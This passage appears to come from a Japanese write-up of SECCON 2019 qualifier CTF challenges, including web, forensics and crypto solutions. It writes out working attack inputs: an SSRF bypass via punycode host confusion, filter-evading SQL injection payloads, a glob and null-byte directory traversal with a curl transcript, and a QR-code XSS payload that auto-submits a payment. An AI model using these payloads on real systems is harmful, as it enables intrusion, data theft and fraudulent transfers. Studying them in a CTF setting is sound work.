半分くらい解凍したところで数十GBになった。Deflateで過去に出現を繰り返すときに、フラグが無いとすでに分かっていればスキップとかするのかな。境界とかを考え出すと大変そうだけど、問題を作る方も大変だろうし、どうにかなっているのかもしれない。
pngbomb (475 pt, 6 solves)
解けなかった。
2147483647×32のPNG画像。64ギガ画素。白黒画像のなので約8GB。Tanukiと違って、この程度なら普通に解凍できそうだと思ったけど……解いている人数が少なくてこの先に罠がありそうなのでスルー。
web
Option-Cmd-U (190 pt, 106 solves)
コメントを見ると、
<section class="section">
<pre>
<!-- src of this PHP script: /index.php?action=source -->
<!-- the flag is in /flag.php, which permits access only from internal network :-) -->
<!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->
</pre>
</section>
version: '3'
services:
nginx:
(...ommitted...)
php-fpm:
(...ommitted...
nginx
はソースコード中にも出てくるし、このファイル要る?w
<section class="section">
<pre>
<!-- src of this PHP script: /index.php?action=source -->
<!-- the flag is in /flag.php, which permits access only from internal network :-) -->
<!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->
<?php
if (isset($_GET['url'])){
$url = filter_input(INPUT_GET, 'url');
$parsed_url = parse_url($url);
if($parsed_url["scheme"] !== "http"){
// only http: should be allowed.
echo 'URL should start with http!';
} else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
// local access to nginx from php-fpm should be blocked.
echo 'Oops, are you a robot or an attacker?';
} else {
// file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46),
false,
stream_context_create(array(
'http' => array(
'follow_location' => false
)
))));
}
}
?>
</pre>
</section>
http://ocu.chal.seccon.jp:10000/flag.php をこのサービスで見ると、Forbidden.Your IP: 172.25.0.1
。ルーター的なもののIPアドレスは172.25.0.1。ちなみに、最初のうちは172.18.0.1だった。
適当にアドレスを変え、 http://172.25.0.3:10000/flag.php で、Oops, are you a robot or an attacker?
。ということは、nginx
のIPアドレスは172.25.0.3。PHP-FPMなのでPHPサーバーをHTTPで叩くことはできない。
idn_to_ascii
はPunycodeへの変換。最初のidn_to_ascii
はドメイン名にだけ掛けているのに、ファイルを取得するときはURL全体なのが脆弱性。
URLを http://hoge.fuga@あa.sweetduet.info/flag.php とすると、ドメイン名に対して掛けたときは、 xn--a-w7t.sweetduet.info
。URL全体に対して掛けると、単純に.
で区切るだけなので、 http://hoge.xn--fuga@a-m43e.sweetduet.info/flag.php 。
ということで、xn--a-w7t.sweetduet.info
に172.25.0.3を登録してアクセス。最初は:10000
にアクセスして悩んでいた。nginx
は80ポートでlistenしていた。
作問者の想定解法。
実質の Web の Welcome 問題として(?!)、Option-Cmd-U を出題しました。想定解は http://nginx/flag.php⁈.jp みたいな Host/Split 解法で、ローカル IP の Guessing は必要ありません。Guessing しても解けてしまうんですが。申し訳ないです。 #seccon
— つばめ (@lmt_swallow) October 20, 2019
全角/
は単なるリンク防止ではなくてちゃんと意味がある。半角/
に変換されるのか。なるほど。
SECCON{what_a_easy_bypass_314208thg0n423g}
web_search (212 pt, 93 solves)
SQL Injection。ただし、文字や文字列がフィルタリングされている。気が付いたところでは、
, ,
, OR
。
'OORR(1)#
と入力したら'OR(1)#
となり、フラグ(……の一部)が出てきた。
:
RFC 8369
Internationalizing IPv6 Using 128-Bit Unicode
RFC 8565
Hypertext Jeopardy Protocol (HTJP/1.0)
RFC 8567
Customer Management DNS Resource Records
FLAG
The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!
空白の削除は/**/
に置き換えて回避。SELECT
で使いたい,'
は、下記のサイトの通りに。
ZoczuS Blog: SQL Injection without comma char
t'UNION SELECT * FROM (SELECT * FROM flag) AS a JOIN (SELECT 1) AS b JOIN (SELECT 2) AS c#
↓
t'UNION/**/SELECT/**/*/**/FROM/**/(SELECT/**/*/**/FROM/**/flag)/**/AS/**/a/**/JOIN/**/(SELECT/**/1)/**/AS/**/b/**/JOIN/**/(SELECT/**/2)/**/AS/**/c#
:
RFC 6592
The Null Packet
You_Win_Yeah}
1
SECCON{Yeah_Sqli_Success_You_Win_Yeah}
fileserver (345 pt, 39 solves)
こんな感じでファイルサーバーを実装している。
:
def is_bad_path(path)
bad_char = nil
%w(* ? [ { \\).each do |char|
if path.include? char
bad_char = char
break
end
end
if bad_char.nil?
false
else
# check if brackets are paired
if bad_char == ?{
path[path.index(bad_char)..].include? ?}
elsif bad_char == ?[
path[path.index(bad_char)..].include? ?]
else
true
end
end
end
server.mount_proc '/' do |req, res|
raise BadRequest if is_bad_path(req.path)
if req.path.end_with? '/'
if req.path.include? '.'
raise BadRequest
end
files = Dir.glob(".#{req.path}*")
res['Content-Type'] = 'text/html'
res.body = ERB.new(File.read('index.html.erb')).result(binding)
next
end
matches = Dir.glob(req.path[1..])
if matches.empty?
raise NotFound
end
begin
file = File.open(matches.first, 'rb')
res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
res.body = file.read(1e6)
rescue Errno::EISDIR => e
res.set_redirect(MovedPermanently, req.path + '/')
end
end
:
フラグはサーバー起動時に/tmp/flags内にランダムなファイル名で保存される。サーバーは5分ごとに再起動。
is_bad_path
のあたりを色々と悩んだけれど、Dir.glob
の「パターンを "\0" で区切って 1 度に複数のパターンを指定することもできます。」を使う。
singleton method Dir.[] (Ruby 2.6.0)
HTTPの仕様なのか何なのか、Google Chromeは%00
がURLに含まれていると、Google検索に飛ぶ。curl
はバイナリデータが含まれているとそのままでは画面に出してくれないので、--output -
。
$ curl -v http://fileserver.chal.seccon.jp:9292/%00/tmp/flags/ --output -
* Trying 133.242.21.14...
* TCP_NODELAY set
* Connected to fileserver.chal.seccon.jp (133.242.21.14) port 9292 (#0)
> GET /%00/tmp/flags/ HTTP/1.1
> Host: fileserver.chal.seccon.jp:9292
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html
< Server: WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01)
< Date: Sun, 20 Oct 2019 08:56:11 GMT
< Content-Length: 737
< Connection: Keep-Alive
<
<!DOCTYPE html>
<meta charset="utf8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Fileserver</title>
<link rel="stylesheet" href="https://unpkg.com/bulmaswatch/cerulean/bulmaswatch.min.css">
<section class="section">
<div class="container">
<h1 class="title">Index of / /tmp/flags/</h1>
<div class="list is-hoverable">
<a class="list-item" href="/./">./</a>
<a class="list-item" href="//tmp/flags/s7AD49PrpULN0XCgqJ5nx0yw7ovkusrz.txt">/tmp/flags/s7AD49PrpULN0XCgqJ5nx0yw7ovkusrz.txt</a>
</div>
<hr>
<span class="is-italic">WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292</span>
</div>
* Connection #0 to host fileserver.chal.seccon.jp left intact
</section>
そのままフラグも出力できると思ったら、File.open
で
<H1>Internal Server Error</H1>
path name contains null byte
手元のirbで動かしてみてもNUL文字は含まれないけど、何なんだろう。
ここでis_bad_path
で悩んでいたことが役に立つ。良く見ると、ファイルを出力するときにはディレクトリトラバーサル対策がなされていない。とはいえ、単純に/../tmp/flags/s7AD49PrpULN0XCgqJ5nx0yw7ovkusrz.txt
では、WEBrickかその前かで、bad URI '/../tmp/flags/'
と言われてしまう。/{.}{.}/
とすれば良い。{.}
はis_bad_path
で弾かれるけれど、先に[
が引っかかれば、URLに]
が無ければ通る。ということで、/{[,}{.}{.}/tmp/flags/s7AD49PrpULN0XCgqJ5nx0yw7ovkusrz.txt
。[
はブラウザはエンコードしないのに、どこかで弾かれるので、%5B
。
SECCON{You_are_the_Globbin'_Slayer}
SECCON_multiplicater (457 pt, 10 solves)
解けなかった。
bashスクリプトによるCGI。bash の危険な算術式でしょう。ただし、英字は全て除去される。Beeeeeeeeeerみたいなことをやれば良いのかな。
追記
難読化を頑張らなくても、数字は使えるのだから8進数エンコードで良いのか。
SECCON 2019 quals Write-up (Beeeeeeeeeer, SECCON_multiplicater, web_search) - Ryoto Saito's Blog
HakoniwaPay (461 pt, 9 solves)
解けなかった。
このQRコードにはメッセージが含まれていて、あらかじめHTMLエスケープされている。自分でQRコードを作ればXSSができる。開いた瞬間に送金するQRコードが作れる。……のだけど、作ったQRコードを相手に送信することができない。自分がQRコードを読み込むことができるから、それでスクリプトを動かしてQRコードを送信するのかな。なぜ自分のSelf XSSで苦労しなければいけないんだ あるいは、QRコード関連の処理はEXEとは別のDLLなので、これを差し替えれば良いのかも。対策されているかもしれないけど。
追記
QRコードを送信するボタンありました……。つらい。
SECCON 2019 Online CTF の write-up - st98 の日記帳
コンテスト中に作っていたQRコード。
HAKONIWA-PAY:REQ:67e47ea5-9f9a-4f63-949d-6923f77d2cf9:d8d0f4c7-5c09-4b74-8a0a-1900ab540afd:7777:hoge</textarea><script>setTimeout(function(){document.forms[0].submit()},1000);</script>
で、
forensics
repair (452 pt, 11 solves)
解けなかった。
This file lost one sector. Please repair it.
960x540
最初の方が塗りつぶされたAVIファイル。ファイル名は画面サイズでしょう。手元でAVIファイルを作って貼り合わせれば良いのかと思ったけど、コーデックが何なのか分からない。いくつか試したけれど、黒画面か灰色画面かカラフルな砂嵐。
crypto
coffee_break (56 pt, 384 solves)
暗号化するPythonスクリプトと暗号文が渡されるので、逆算する。
from Crypto.Cipher import AES
import base64
key1 = "SECCON"
key2 = "seccon2019"
enc2 = base64.b64decode("FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905")
cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)
enc1 = cipher.decrypt(enc2)
enc1 = enc1[:-ord(enc1[-1])]
def decrypt(key, text):
s = ""
for i in range(len(text)):
s += chr((((ord(text[i]) - 0x20) - (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20)
return s
text = decrypt(key1, enc1)
print text
SECCON{Success_Decryption_Yeah_Yeah_SECCON}
Crazy Repetition of Codes (326 pt, 45 solves)
簡単だと思うのだけど、解いている人数が少なくて点数が美味しい。
import os
from Crypto.Cipher import AES
def crc32(crc, data):
crc = 0xFFFFFFFF ^ crc
for c in data:
crc = crc ^ ord(c)
for i in range(8):
crc = (crc >> 1) ^ (0xEDB88320 * (crc & 1))
return 0xFFFFFFFF ^ crc
key = b""
crc = 0
for i in range(int("1" * 10000)):
crc = crc32(crc, "TSG")
assert(crc == 0xb09bc54f)
key += crc.to_bytes(4, byteorder='big')
crc = 0
for i in range(int("1" * 10000)):
crc = crc32(crc, "is")
key += crc.to_bytes(4, byteorder='big')
crc = 0
for i in range(int("1" * 10000)):
crc = crc32(crc, "here")
key += crc.to_bytes(4, byteorder='big')
crc = 0
for i in range(int("1" * 10000)):
crc = crc32(crc, "at")
key += crc.to_bytes(4, byteorder='big')
crc = 0
for i in range(int("1" * 10000)):
crc = crc32(crc, "SECCON")
key += crc.to_bytes(4, byteorder='big')
crc = 0
for i in range(int("1" * 10000)):
crc = crc32(crc, "CTF!")
key += crc.to_bytes(4, byteorder='big')
flag = os.environ['FLAG']
assert(len(flag) == 32)
aes = AES.new(key, AES.MODE_ECB)
encoded = aes.encrypt(flag)
assert(encoded.hex() == '79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e')
Pythonではちょっと遅いけれど、C++ならばCRCを2^32回試すくらいはたいしたことではない。
#include <stdio.h>
#include <vector>
#include <string>
using namespace std;
unsigned int T[256];
unsigned int crc32(unsigned int crc, const char *data)
{
crc ^= 0xffffffff;
for (; *data; data++)
crc = T[crc&0xff^*data] ^ crc>>8;
return crc^0xffffffff;
}
int main()
{
for (int i=0; i<256; i++)
{
unsigned int c = i;
for (int j=0; j<8; j++)
c = c&1 ? 0xedb88320^c>>1 : c>>1;
T[i] = c;
}
vector<unsigned int> P(0x100000000LL);
vector<bool> F(0x100000000LL);
long long i=0;
unsigned int crc=0;
P[crc] = i;
F[crc] = true;
while (true)
{
crc = crc32(crc, "TSG");
i++;
if (F[crc])
{
printf("%lld %u", i, P[crc]);
break;
}
F[crc] = true;
P[crc] = i;
if ((i&0xfffff)==0)
printf("%llx\n", i);
}
}
実験してみたところ、0xffffffff回(0x100000000回ではない)で、crc
が0
に戻る。群の位数がどうたらこうたらという話だろうか、ちなみに0xffffffffは3で割り切れ、長さが3のTSG
は0x55555555回でも0に戻る。int("1"*10000)%0xffffffff=169873741
回CRCを掛ければ良い。
:
int main()
{
for (int i=0; i<256; i++)
{
unsigned int c = i;
for (int j=0; j<8; j++)
c = c&1 ? 0xedb88320^c>>1 : c>>1;
T[i] = c;
}
vector<string> S = {"TSG", "is", "here", "at", "SECCON", "CTF!"};
for (string s: S)
{
unsigned int crc = 0;
for (int i=0; i<169873741; i++)
crc = crc32(crc, s.c_str());
printf("%s %08x\n", s.c_str(), crc);
}
}
TSG b09bc54f
is e4a5927b
here 8d3fef85
at b345bf3f
SECCON 5af656b0
CTF! db496954
import os
from Crypto.Cipher import AES
aes = AES.new("b09bc54fe4a5927b8d3fef85b345bf3f5af656b0db496954".decode("hex"), AES.MODE_ECB)
encoded = "79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e".decode("hex")
flag = aes.decrypt(encoded)
print flag
SECCON{Ur_Th3_L0rd_0f_the_R1NGs}